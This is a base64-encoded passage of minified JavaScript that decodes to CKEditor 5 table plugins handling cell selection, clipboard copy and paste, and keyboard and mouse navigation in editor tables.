KTtjb25zdHtjb21tYW5kTmFtZTpyLGJpbmRJc09uOnN9PXQubW9kZWw7aWYodC50eXBlPT09ImJ1dHRvbiJ8fHQudHlwZT09PSJzd2l0Y2hidXR0b24iKXtjb25zdCB0PWUuY29tbWFuZHMuZ2V0KHIpO24ucHVzaCh0KTtvLnNldCh7Y29tbWFuZE5hbWU6cn0pO28uYmluZCgiaXNFbmFibGVkIikudG8odCk7aWYocyl7by5iaW5kKCJpc09uIikudG8odCwidmFsdWUiKX19by5zZXQoe3dpdGhUZXh0OnRydWV9KTtpLmFkZCh0KX12YXIgVkI9big1NSk7dmFyIFVCPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07VUIuaW5zZXJ0PSJoZWFkIjtVQi5zaW5nbGV0b249dHJ1ZTt2YXIgSEI9cmsoKShWQlsiYSJdLFVCKTt2YXIgR0I9VkJbImEiXS5sb2NhbHN8fHt9O2NsYXNzIFdCIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlRhYmxlU2VsZWN0aW9uIn1zdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW0ZOXX1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWw7dGhpcy5saXN0ZW5UbyhlLCJkZWxldGVDb250ZW50IiwoKHQsZSk9PnRoaXMuX2hhbmRsZURlbGV0ZUNvbnRlbnQodCxlKSkse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMuX2RlZmluZVNlbGVjdGlvbkNvbnZlcnRlcigpO3RoaXMuX2VuYWJsZVBsdWdpbkRpc2FibGluZygpfWdldFNlbGVjdGVkVGFibGVDZWxscygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGU9ZU4odCk7aWYoZS5sZW5ndGg9PTApe3JldHVybiBudWxsfXJldHVybiBlfWdldFNlbGVjdGlvbkFzRnJhZ21lbnQoKXtjb25zdCB0PXRoaXMuZ2V0U2VsZWN0ZWRUYWJsZUNlbGxzKCk7aWYoIXQpe3JldHVybiBudWxsfXJldHVybiB0aGlzLmVkaXRvci5tb2RlbC5jaGFuZ2UoKGU9Pntjb25zdCBuPWUuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpO2NvbnN0IGk9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlVXRpbHMiKTtjb25zdHtmaXJzdDpvLGxhc3Q6cn09ck4odCk7Y29uc3R7Zmlyc3Q6cyxsYXN0OmF9PW9OKHQpO2NvbnN0IGM9dFswXS5maW5kQW5jZXN0b3IoInRhYmxlIik7bGV0IGw9YTtsZXQgZD1yO2lmKHNOKHQsaSkpe2NvbnN0IHQ9e2ZpcnN0Q29sdW1uOm8sbGFzdENvbHVtbjpyLGZpcnN0Um93OnMsbGFzdFJvdzphfTtsPUROKGMsdCk7ZD1FTihjLHQpfWNvbnN0IHU9e3N0YXJ0Um93OnMsc3RhcnRDb2x1bW46byxlbmRSb3c6bCxlbmRDb2x1bW46ZH07Y29uc3QgaD1wTihjLHUsZSk7ZS5pbnNlcnQoaCxuLDApO3JldHVybiBufSkpfXNldENlbGxTZWxlY3Rpb24odCxlKXtjb25zdCBuPXRoaXMuX2dldENlbGxzVG9TZWxlY3QodCxlKTt0aGlzLmVkaXRvci5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnNldFNlbGVjdGlvbihuLmNlbGxzLm1hcCgoZT0+dC5jcmVhdGVSYW5nZU9uKGUpKSkse2JhY2t3YXJkOm4uYmFja3dhcmR9KX0pKX1nZXRGb2N1c0NlbGwoKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBlPVsuLi50LmdldFJhbmdlcygpXS5wb3AoKTtjb25zdCBuPWUuZ2V0Q29udGFpbmVkRWxlbWVudCgpO2lmKG4mJm4uaXMoImVsZW1lbnQiLCJ0YWJsZUNlbGwiKSl7cmV0dXJuIG59cmV0dXJuIG51bGx9Z2V0QW5jaG9yQ2VsbCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGU9c0ModC5nZXRSYW5nZXMoKSk7Y29uc3Qgbj1lLmdldENvbnRhaW5lZEVsZW1lbnQoKTtpZihuJiZuLmlzKCJlbGVtZW50IiwidGFibGVDZWxsIikpe3JldHVybiBufXJldHVybiBudWxsfV9kZWZpbmVTZWxlY3Rpb25Db252ZXJ0ZXIoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9bmV3IFNldDt0LmNvbnZlcnNpb24uZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hZGQoKHQ9PnQub24oInNlbGVjdGlvbiIsKCh0LGksbyk9Pntjb25zdCByPW8ud3JpdGVyO24ocik7Y29uc3Qgcz10aGlzLmdldFNlbGVjdGVkVGFibGVDZWxscygpO2lmKCFzKXtyZXR1cm59Zm9yKGNvbnN0IHQgb2Ygcyl7Y29uc3Qgbj1vLm1hcHBlci50b1ZpZXdFbGVtZW50KHQpO3IuYWRkQ2xhc3MoImNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQiLG4pO2UuYWRkKG4pfWNvbnN0IGE9by5tYXBwZXIudG9WaWV3RWxlbWVudChzW3MubGVuZ3RoLTFdKTtyLnNldFNlbGVjdGlvbihhLDApfSkse3ByaW9yaXR5OiJsb3dlc3QifSkpKTtmdW5jdGlvbiBuKHQpe2Zvcihjb25zdCBuIG9mIGUpe3QucmVtb3ZlQ2xhc3MoImNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQiLG4pfWUuY2xlYXIoKX19X2VuYWJsZVBsdWdpbkRpc2FibGluZygpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dGhpcy5vbigiY2hhbmdlOmlzRW5hYmxlZCIsKCgpPT57aWYoIXRoaXMuaXNFbmFibGVkKXtjb25zdCBlPXRoaXMuZ2V0U2VsZWN0ZWRUYWJsZUNlbGxzKCk7aWYoIWUpe3JldHVybn10Lm1vZGVsLmNoYW5nZSgobj0+e2NvbnN0IGk9bi5jcmVhdGVQb3NpdGlvbkF0KGVbMF0sMCk7Y29uc3Qgbz10Lm1vZGVsLnNjaGVtYS5nZXROZWFyZXN0U2VsZWN0aW9uUmFuZ2UoaSk7bi5zZXRTZWxlY3Rpb24obyl9KSl9fSkpfV9oYW5kbGVEZWxldGVDb250ZW50KHQsZSl7Y29uc3RbbixpXT1lO2NvbnN0IG89dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgcj0haXx8aS5kaXJlY3Rpb249PSJiYWNrd2FyZCI7Y29uc3Qgcz1lTihuKTtpZighcy5sZW5ndGgpe3JldHVybn10LnN0b3AoKTtvLmNoYW5nZSgodD0+e2NvbnN0IGU9c1tyP3MubGVuZ3RoLTE6MF07by5jaGFuZ2UoKHQ9Pntmb3IoY29uc3QgZSBvZiBzKXtvLmRlbGV0ZUNvbnRlbnQodC5jcmVhdGVTZWxlY3Rpb24oZSwiaW4iKSl9fSkpO2NvbnN0IGk9by5zY2hlbWEuZ2V0TmVhcmVzdFNlbGVjdGlvblJhbmdlKHQuY3JlYXRlUG9zaXRpb25BdChlLDApKTtpZihuLmlzKCJkb2N1bWVudFNlbGVjdGlvbiIpKXt0LnNldFNlbGVjdGlvbihpKX1lbHNle24uc2V0VG8oaSl9fSkpfV9nZXRDZWxsc1RvU2VsZWN0KHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvci5wbHVnaW5zLmdldCgiVGFibGVVdGlscyIpO2NvbnN0IGk9bi5nZXRDZWxsTG9jYXRpb24odCk7Y29uc3Qgbz1uLmdldENlbGxMb2NhdGlvbihlKTtjb25zdCByPU1hdGgubWluKGkucm93LG8ucm93KTtjb25zdCBzPU1hdGgubWF4KGkucm93LG8ucm93KTtjb25zdCBhPU1hdGgubWluKGkuY29sdW1uLG8uY29sdW1uKTtjb25zdCBjPU1hdGgubWF4KGkuY29sdW1uLG8uY29sdW1uKTtjb25zdCBsPW5ldyBBcnJheShzLXIrMSkuZmlsbChudWxsKS5tYXAoKCgpPT5bXSkpO2NvbnN0IGQ9e3N0YXJ0Um93OnIsZW5kUm93OnMsc3RhcnRDb2x1bW46YSxlbmRDb2x1bW46Y307Zm9yKGNvbnN0e3JvdzplLGNlbGw6bn1vZiBuZXcgSUkodC5maW5kQW5jZXN0b3IoInRhYmxlIiksZCkpe2xbZS1yXS5wdXNoKG4pfWNvbnN0IHU9by5yb3c8aS5yb3c7Y29uc3QgaD1vLmNvbHVtbjxpLmNvbHVtbjtpZih1KXtsLnJldmVyc2UoKX1pZihoKXtsLmZvckVhY2goKHQ9PnQucmV2ZXJzZSgpKSl9cmV0dXJue2NlbGxzOmwuZmxhdCgpLGJhY2t3YXJkOnV8fGh9fX1jbGFzcyBLQiBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJUYWJsZUNsaXBib2FyZCJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltXQixGTl19aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldy5kb2N1bWVudDt0aGlzLmxpc3RlblRvKGUsImNvcHkiLCgodCxlKT0+dGhpcy5fb25Db3B5Q3V0KHQsZSkpKTt0aGlzLmxpc3RlblRvKGUsImN1dCIsKCh0LGUpPT50aGlzLl9vbkNvcHlDdXQodCxlKSkpO3RoaXMubGlzdGVuVG8odC5tb2RlbCwiaW5zZXJ0Q29udGVudCIsKCh0LGUpPT50aGlzLl9vbkluc2VydENvbnRlbnQodCwuLi5lKSkse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMuZGVjb3JhdGUoIl9yZXBsYWNlVGFibGVTbG90Q2VsbCIpfV9vbkNvcHlDdXQodCxlKXtjb25zdCBuPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KFdCKTtpZighbi5nZXRTZWxlY3RlZFRhYmxlQ2VsbHMoKSl7cmV0dXJufWlmKHQubmFtZT09ImN1dCImJnRoaXMuZWRpdG9yLmlzUmVhZE9ubHkpe3JldHVybn1lLnByZXZlbnREZWZhdWx0KCk7dC5zdG9wKCk7Y29uc3QgaT10aGlzLmVkaXRvci5kYXRhO2NvbnN0IG89dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LmRvY3VtZW50O2NvbnN0IHI9aS50b1ZpZXcobi5nZXRTZWxlY3Rpb25Bc0ZyYWdtZW50KCkpO28uZmlyZSgiY2xpcGJvYXJkT3V0cHV0Iix7ZGF0YVRyYW5zZmVyOmUuZGF0YVRyYW5zZmVyLGNvbnRlbnQ6cixtZXRob2Q6dC5uYW1lfSl9X29uSW5zZXJ0Q29udGVudCh0LGUsbil7aWYobiYmIW4uaXMoImRvY3VtZW50U2VsZWN0aW9uIikpe3JldHVybn1jb25zdCBpPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG89dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoRk4pO2xldCByPXFCKGUsaSk7aWYoIXIpe3JldHVybn1jb25zdCBzPWlOKGkuZG9jdW1lbnQuc2VsZWN0aW9uKTtpZighcy5sZW5ndGgpe3hOKHIsbyk7cmV0dXJufXQuc3RvcCgpO2kuY2hhbmdlKCh0PT57Y29uc3QgZT17d2lkdGg6by5nZXRDb2x1bW5zKHIpLGhlaWdodDpvLmdldFJvd3Mocil9O2NvbnN0IG49WUIocyxlLHQsbyk7Y29uc3QgaT1uLmxhc3RSb3ctbi5maXJzdFJvdysxO2NvbnN0IGE9bi5sYXN0Q29sdW1uLW4uZmlyc3RDb2x1bW4rMTtjb25zdCBjPXtzdGFydFJvdzowLHN0YXJ0Q29sdW1uOjAsZW5kUm93Ok1hdGgubWluKGksZS5oZWlnaHQpLTEsZW5kQ29sdW1uOk1hdGgubWluKGEsZS53aWR0aCktMX07cj1wTihyLGMsdCk7Y29uc3QgbD1zWzBdLmZpbmRBbmNlc3RvcigidGFibGUiKTtjb25zdCBkPXRoaXMuX3JlcGxhY2VTZWxlY3RlZENlbGxzV2l0aFBhc3RlZChyLGUsbCxuLHQpO2lmKHRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVNlbGVjdGlvbiIpLmlzRW5hYmxlZCl7Y29uc3QgZT1hTihkLm1hcCgoZT0+dC5jcmVhdGVSYW5nZU9uKGUpKSkpO3Quc2V0U2VsZWN0aW9uKGUpfWVsc2V7dC5zZXRTZWxlY3Rpb24oZFswXSwwKX19KSl9X3JlcGxhY2VTZWxlY3RlZENlbGxzV2l0aFBhc3RlZCh0LGUsbixpLG8pe2NvbnN0e3dpZHRoOnIsaGVpZ2h0OnN9PWU7Y29uc3QgYT0kQih0LHIscyk7Y29uc3QgYz1bLi4ubmV3IElJKG4se3N0YXJ0Um93OmkuZmlyc3RSb3csZW5kUm93OmkubGFzdFJvdyxzdGFydENvbHVtbjppLmZpcnN0Q29sdW1uLGVuZENvbHVtbjppLmxhc3RDb2x1bW4saW5jbHVkZUFsbFNsb3RzOnRydWV9KV07Y29uc3QgbD1bXTtsZXQgZDtmb3IoY29uc3QgdCBvZiBjKXtjb25zdHtyb3c6ZSxjb2x1bW46bn09dDtpZihuPT09aS5maXJzdENvbHVtbil7ZD10LmdldFBvc2l0aW9uQmVmb3JlKCl9Y29uc3QgYz1lLWkuZmlyc3RSb3c7Y29uc3QgdT1uLWkuZmlyc3RDb2x1bW47Y29uc3QgaD1hW2Mlc11bdSVyXTtjb25zdCBmPWg/by5jbG9uZUVsZW1lbnQoaCk6bnVsbDtjb25zdCBtPXRoaXMuX3JlcGxhY2VUYWJsZVNsb3RDZWxsKHQsZixkLG8pO2lmKCFtKXtjb250aW51ZX1BTihtLGUsbixpLmxhc3RSb3csaS5sYXN0Q29sdW1uLG8pO2wucHVzaChtKTtkPW8uY3JlYXRlUG9zaXRpb25BZnRlcihtKX1jb25zdCB1PXBhcnNlSW50KG4uZ2V0QXR0cmlidXRlKCJoZWFkaW5nUm93cyIpfHwwKTtjb25zdCBoPXBhcnNlSW50KG4uZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwKTtjb25zdCBmPWkuZmlyc3RSb3c8dSYmdTw9aS5sYXN0Um93O2NvbnN0IG09aS5maXJzdENvbHVtbjxoJiZoPD1pLmxhc3RDb2x1bW47aWYoZil7Y29uc3QgdD17Zmlyc3Q6aS5maXJzdENvbHVtbixsYXN0OmkubGFzdENvbHVtbn07Y29uc3QgZT1aQihuLHUsdCxvLGkuZmlyc3RSb3cpO2wucHVzaCguLi5lKX1pZihtKXtjb25zdCB0PXtmaXJzdDppLmZpcnN0Um93LGxhc3Q6aS5sYXN0Um93fTtjb25zdCBlPVhCKG4saCx0LG8pO2wucHVzaCguLi5lKX1yZXR1cm4gbH1fcmVwbGFjZVRhYmxlU2xvdENlbGwodCxlLG4saSl7Y29uc3R7Y2VsbDpvLGlzQW5jaG9yOnJ9PXQ7aWYocil7aS5yZW1vdmUobyl9aWYoIWUpe3JldHVybiBudWxsfWkuaW5zZXJ0KGUsbik7cmV0dXJuIGV9fWZ1bmN0aW9uIHFCKHQsZSl7aWYoIXQuaXMoImRvY3VtZW50RnJhZ21lbnQiKSYmIXQuaXMoImVsZW1lbnQiKSl7cmV0dXJuIG51bGx9aWYodC5pcygiZWxlbWVudCIsInRhYmxlIikpe3JldHVybiB0fWlmKHQuY2hpbGRDb3VudD09MSYmdC5nZXRDaGlsZCgwKS5pcygiZWxlbWVudCIsInRhYmxlIikpe3JldHVybiB0LmdldENoaWxkKDApfWNvbnN0IG49ZS5jcmVhdGVSYW5nZUluKHQpO2Zvcihjb25zdCB0IG9mIG4uZ2V0SXRlbXMoKSl7aWYodC5pcygiZWxlbWVudCIsInRhYmxlIikpe2NvbnN0IGk9ZS5jcmVhdGVSYW5nZShuLnN0YXJ0LGUuY3JlYXRlUG9zaXRpb25CZWZvcmUodCkpO2lmKGUuaGFzQ29udGVudChpLHtpZ25vcmVXaGl0ZXNwYWNlczp0cnVlfSkpe3JldHVybiBudWxsfWNvbnN0IG89ZS5jcmVhdGVSYW5nZShlLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCksbi5lbmQpO2lmKGUuaGFzQ29udGVudChvLHtpZ25vcmVXaGl0ZXNwYWNlczp0cnVlfSkpe3JldHVybiBudWxsfXJldHVybiB0fX1yZXR1cm4gbnVsbH1mdW5jdGlvbiBZQih0LGUsbixpKXtjb25zdCBvPXRbMF0uZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0IHI9ck4odCk7Y29uc3Qgcz1vTih0KTtjb25zdCBhPXtmaXJzdENvbHVtbjpyLmZpcnN0LGxhc3RDb2x1bW46ci5sYXN0LGZpcnN0Um93OnMuZmlyc3QsbGFzdFJvdzpzLmxhc3R9O2NvbnN0IGM9dC5sZW5ndGg9PT0xO2lmKGMpe2EubGFzdFJvdys9ZS5oZWlnaHQtMTthLmxhc3RDb2x1bW4rPWUud2lkdGgtMTtRQihvLGEubGFzdFJvdysxLGEubGFzdENvbHVtbisxLGkpfWlmKGN8fCFzTih0LGkpKXtKQihvLGEsbil9ZWxzZXthLmxhc3RSb3c9RE4obyxhKTthLmxhc3RDb2x1bW49RU4obyxhKX1yZXR1cm4gYX1mdW5jdGlvbiBRQih0LGUsbixpKXtjb25zdCBvPWkuZ2V0Q29sdW1ucyh0KTtjb25zdCByPWkuZ2V0Um93cyh0KTtpZihuPm8pe2kuaW5zZXJ0Q29sdW1ucyh0LHthdDpvLGNvbHVtbnM6bi1vfSl9aWYoZT5yKXtpLmluc2VydFJvd3ModCx7YXQ6cixyb3dzOmUtcn0pfX1mdW5jdGlvbiAkQih0LGUsbil7Y29uc3QgaT1uZXcgQXJyYXkobikuZmlsbChudWxsKS5tYXAoKCgpPT5uZXcgQXJyYXkoZSkuZmlsbChudWxsKSkpO2Zvcihjb25zdHtjb2x1bW46ZSxyb3c6bixjZWxsOm99b2YgbmV3IElJKHQpKXtpW25dW2VdPW99cmV0dXJuIGl9ZnVuY3Rpb24gSkIodCxlLG4pe2NvbnN0e2ZpcnN0Um93OmksbGFzdFJvdzpvLGZpcnN0Q29sdW1uOnIsbGFzdENvbHVtbjpzfT1lO2NvbnN0IGE9e2ZpcnN0OmksbGFzdDpvfTtjb25zdCBjPXtmaXJzdDpyLGxhc3Q6c307WEIodCxyLGEsbik7WEIodCxzKzEsYSxuKTtaQih0LGksYyxuKTtaQih0LG8rMSxjLG4saSl9ZnVuY3Rpb24gWkIodCxlLG4saSxvPTApe2lmKGU8MSl7cmV0dXJufWNvbnN0IHI9a04odCxlLG8pO2NvbnN0IHM9ci5maWx0ZXIoKCh7Y29sdW1uOnQsY2VsbFdpZHRoOmV9KT0+dFAodCxlLG4pKSk7cmV0dXJuIHMubWFwKCgoe2NlbGw6dH0pPT5iTih0LGUsaSkpKX1mdW5jdGlvbiBYQih0LGUsbixpKXtpZihlPDEpe3JldHVybn1jb25zdCBvPXdOKHQsZSk7Y29uc3Qgcj1vLmZpbHRlcigoKHtyb3c6dCxjZWxsSGVpZ2h0OmV9KT0+dFAodCxlLG4pKSk7cmV0dXJuIHIubWFwKCgoe2NlbGw6dCxjb2x1bW46bn0pPT5DTih0LG4sZSxpKSkpfWZ1bmN0aW9uIHRQKHQsZSxuKXtjb25zdCBpPXQrZS0xO2NvbnN0e2ZpcnN0Om8sbGFzdDpyfT1uO2NvbnN0IHM9dD49byYmdDw9cjtjb25zdCBhPXQ8byYmaT49bztyZXR1cm4gc3x8YX1jbGFzcyBlUCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJUYWJsZUtleWJvYXJkIn1zdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW1dCXX1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvci5lZGl0aW5nLnZpZXc7Y29uc3QgZT10LmRvY3VtZW50O3RoaXMuZWRpdG9yLmtleXN0cm9rZXMuc2V0KCJUYWIiLCgoLi4udCk9PnRoaXMuX2hhbmRsZVRhYk9uU2VsZWN0ZWRUYWJsZSguLi50KSkse3ByaW9yaXR5OiJsb3cifSk7dGhpcy5lZGl0b3Iua2V5c3Ryb2tlcy5zZXQoIlRhYiIsdGhpcy5fZ2V0VGFiSGFuZGxlcih0cnVlKSx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmVkaXRvci5rZXlzdHJva2VzLnNldCgiU2hpZnQrVGFiIix0aGlzLl9nZXRUYWJIYW5kbGVyKGZhbHNlKSx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmxpc3RlblRvKGUsImtleWRvd24iLCgoLi4udCk9PnRoaXMuX29uS2V5ZG93biguLi50KSkse3ByaW9yaXR5Om9zLmdldCgiaGlnaCIpLTEwfSl9X2hhbmRsZVRhYk9uU2VsZWN0ZWRUYWJsZSh0LGUpe2NvbnN0IG49dGhpcy5lZGl0b3I7Y29uc3QgaT1uLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBvPWkuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7aWYoIW98fCFvLmlzKCJlbGVtZW50IiwidGFibGUiKSl7cmV0dXJufWUoKTtuLm1vZGVsLmNoYW5nZSgodD0+e3Quc2V0U2VsZWN0aW9uKHQuY3JlYXRlUmFuZ2VJbihvLmdldENoaWxkKDApLmdldENoaWxkKDApKSl9KSl9X2dldFRhYkhhbmRsZXIodCl7Y29uc3QgZT10aGlzLmVkaXRvcjtyZXR1cm4obixpKT0+e2NvbnN0IG89ZS5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247bGV0IHI9bk4obylbMF07aWYoIXIpe3I9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlU2VsZWN0aW9uIikuZ2V0Rm9jdXNDZWxsKCl9aWYoIXIpe3JldHVybn1pKCk7Y29uc3Qgcz1yLnBhcmVudDtjb25zdCBhPXMucGFyZW50O2NvbnN0IGM9YS5nZXRDaGlsZEluZGV4KHMpO2NvbnN0IGw9cy5nZXRDaGlsZEluZGV4KHIpO2NvbnN0IGQ9bD09PTA7aWYoIXQmJmQmJmM9PT0wKXtlLm1vZGVsLmNoYW5nZSgodD0+e3Quc2V0U2VsZWN0aW9uKHQuY3JlYXRlUmFuZ2VPbihhKSl9KSk7cmV0dXJufWNvbnN0IHU9bD09PXMuY2hpbGRDb3VudC0xO2NvbnN0IGg9Yz09PWEuY2hpbGRDb3VudC0xO2lmKHQmJmgmJnUpe2UuZXhlY3V0ZSgiaW5zZXJ0VGFibGVSb3dCZWxvdyIpO2lmKGM9PT1hLmNoaWxkQ291bnQtMSl7ZS5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnNldFNlbGVjdGlvbih0LmNyZWF0ZVJhbmdlT24oYSkpfSkpO3JldHVybn19bGV0IGY7aWYodCYmdSl7Y29uc3QgdD1hLmdldENoaWxkKGMrMSk7Zj10LmdldENoaWxkKDApfWVsc2UgaWYoIXQmJmQpe2NvbnN0IHQ9YS5nZXRDaGlsZChjLTEpO2Y9dC5nZXRDaGlsZCh0LmNoaWxkQ291bnQtMSl9ZWxzZXtmPXMuZ2V0Q2hpbGQobCsodD8xOi0xKSl9ZS5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnNldFNlbGVjdGlvbih0LmNyZWF0ZVJhbmdlSW4oZikpfSkpfX1fb25LZXlkb3duKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvcjtjb25zdCBpPWUua2V5Q29kZTtpZighRmwoaSkpe3JldHVybn1jb25zdCBvPVZsKGksbi5sb2NhbGUuY29udGVudExhbmd1YWdlRGlyZWN0aW9uKTtjb25zdCByPXRoaXMuX2hhbmRsZUFycm93S2V5cyhvLGUuc2hpZnRLZXkpO2lmKHIpe2UucHJldmVudERlZmF1bHQoKTtlLnN0b3BQcm9wYWdhdGlvbigpO3Quc3RvcCgpfX1faGFuZGxlQXJyb3dLZXlzKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBpPW4uZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG89WyJyaWdodCIsImRvd24iXS5pbmNsdWRlcyh0KTtjb25zdCByPWVOKGkpO2lmKHIubGVuZ3RoKXtsZXQgbjtpZihlKXtuPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVNlbGVjdGlvbiIpLmdldEZvY3VzQ2VsbCgpfWVsc2V7bj1vP3Jbci5sZW5ndGgtMV06clswXX10aGlzLl9uYXZpZ2F0ZUZyb21DZWxsSW5EaXJlY3Rpb24obix0LGUpO3JldHVybiB0cnVlfWNvbnN0IHM9aS5mb2N1cy5maW5kQW5jZXN0b3IoInRhYmxlQ2VsbCIpO2lmKCFzKXtyZXR1cm4gZmFsc2V9aWYoZSYmIWkuaXNDb2xsYXBzZWQmJmkuaXNCYWNrd2FyZD09byl7cmV0dXJuIGZhbHNlfWlmKHRoaXMuX2lzU2VsZWN0aW9uQXRDZWxsRWRnZShpLHMsbykpe3RoaXMuX25hdmlnYXRlRnJvbUNlbGxJbkRpcmVjdGlvbihzLHQsZSk7cmV0dXJuIHRydWV9cmV0dXJuIGZhbHNlfV9pc1NlbGVjdGlvbkF0Q2VsbEVkZ2UodCxlLG4pe2NvbnN0IGk9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbz10aGlzLmVkaXRvci5tb2RlbC5zY2hlbWE7Y29uc3Qgcj1uP3QuZ2V0TGFzdFBvc2l0aW9uKCk6dC5nZXRGaXJzdFBvc2l0aW9uKCk7aWYoIW8uZ2V0TGltaXRFbGVtZW50KHIpLmlzKCJlbGVtZW50IiwidGFibGVDZWxsIikpe2NvbnN0IHQ9aS5jcmVhdGVQb3NpdGlvbkF0KGUsbj8iZW5kIjowKTtyZXR1cm4gdC5pc1RvdWNoaW5nKHIpfWNvbnN0IHM9aS5jcmVhdGVTZWxlY3Rpb24ocik7aS5tb2RpZnlTZWxlY3Rpb24ocyx7ZGlyZWN0aW9uOm4/ImZvcndhcmQiOiJiYWNrd2FyZCJ9KTtyZXR1cm4gci5pc0VxdWFsKHMuZm9jdXMpfV9uYXZpZ2F0ZUZyb21DZWxsSW5EaXJlY3Rpb24odCxlLG49ZmFsc2Upe2NvbnN0IGk9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbz10LmZpbmRBbmNlc3RvcigidGFibGUiKTtjb25zdCByPVsuLi5uZXcgSUkobyx7aW5jbHVkZUFsbFNsb3RzOnRydWV9KV07Y29uc3R7cm93OnMsY29sdW1uOmF9PXJbci5sZW5ndGgtMV07Y29uc3QgYz1yLmZpbmQoKCh7Y2VsbDplfSk9PmU9PXQpKTtsZXR7cm93OmwsY29sdW1uOmR9PWM7c3dpdGNoKGUpe2Nhc2UibGVmdCI6ZC0tO2JyZWFrO2Nhc2UidXAiOmwtLTticmVhaztjYXNlInJpZ2h0IjpkKz1jLmNlbGxXaWR0aDticmVhaztjYXNlImRvd24iOmwrPWMuY2VsbEhlaWdodDticmVha31jb25zdCB1PWw8MHx8bD5zO2NvbnN0IGg9ZDwwJiZsPD0wO2NvbnN0IGY9ZD5hJiZsPj1zO2lmKHV8fGh8fGYpe2kuY2hhbmdlKCh0PT57dC5zZXRTZWxlY3Rpb24odC5jcmVhdGVSYW5nZU9uKG8pKX0pKTtyZXR1cm59aWYoZDwwKXtkPW4/MDphO2wtLX1lbHNlIGlmKGQ+YSl7ZD1uP2E6MDtsKyt9Y29uc3QgbT1yLmZpbmQoKHQ9PnQucm93PT1sJiZ0LmNvbHVtbj09ZCkpLmNlbGw7Y29uc3QgZz1bInJpZ2h0IiwiZG93biJdLmluY2x1ZGVzKGUpO2NvbnN0IHA9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlU2VsZWN0aW9uIik7aWYobiYmcC5pc0VuYWJsZWQpe2NvbnN0IGU9cC5nZXRBbmNob3JDZWxsKCl8fHQ7cC5zZXRDZWxsU2VsZWN0aW9uKGUsbSl9ZWxzZXtjb25zdCB0PWkuY3JlYXRlUG9zaXRpb25BdChtLGc/MDoiZW5kIik7aS5jaGFuZ2UoKGU9PntlLnNldFNlbGVjdGlvbih0KX0pKX19fWNsYXNzIG5QIGV4dGVuZHMgbmh7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5kb21FdmVudFR5cGU9WyJtb3VzZW1vdmUiLCJtb3VzZXVwIiwibW91c2VsZWF2ZSJdfW9uRG9tRXZlbnQodCl7dGhpcy5maXJlKHQudHlwZSx0KX19Y2xhc3MgaVAgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iVGFibGVNb3VzZSJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltXQl19aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dC5lZGl0aW5nLnZpZXcuYWRkT2JzZXJ2ZXIoblApO3RoaXMuX2VuYWJsZVNoaWZ0Q2xpY2tTZWxlY3Rpb24oKTt0aGlzLl9lbmFibGVNb3VzZURyYWdTZWxlY3Rpb24oKX1fZW5hYmxlU2hpZnRDbGlja1NlbGVjdGlvbigpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7bGV0IGU9ZmFsc2U7Y29uc3Qgb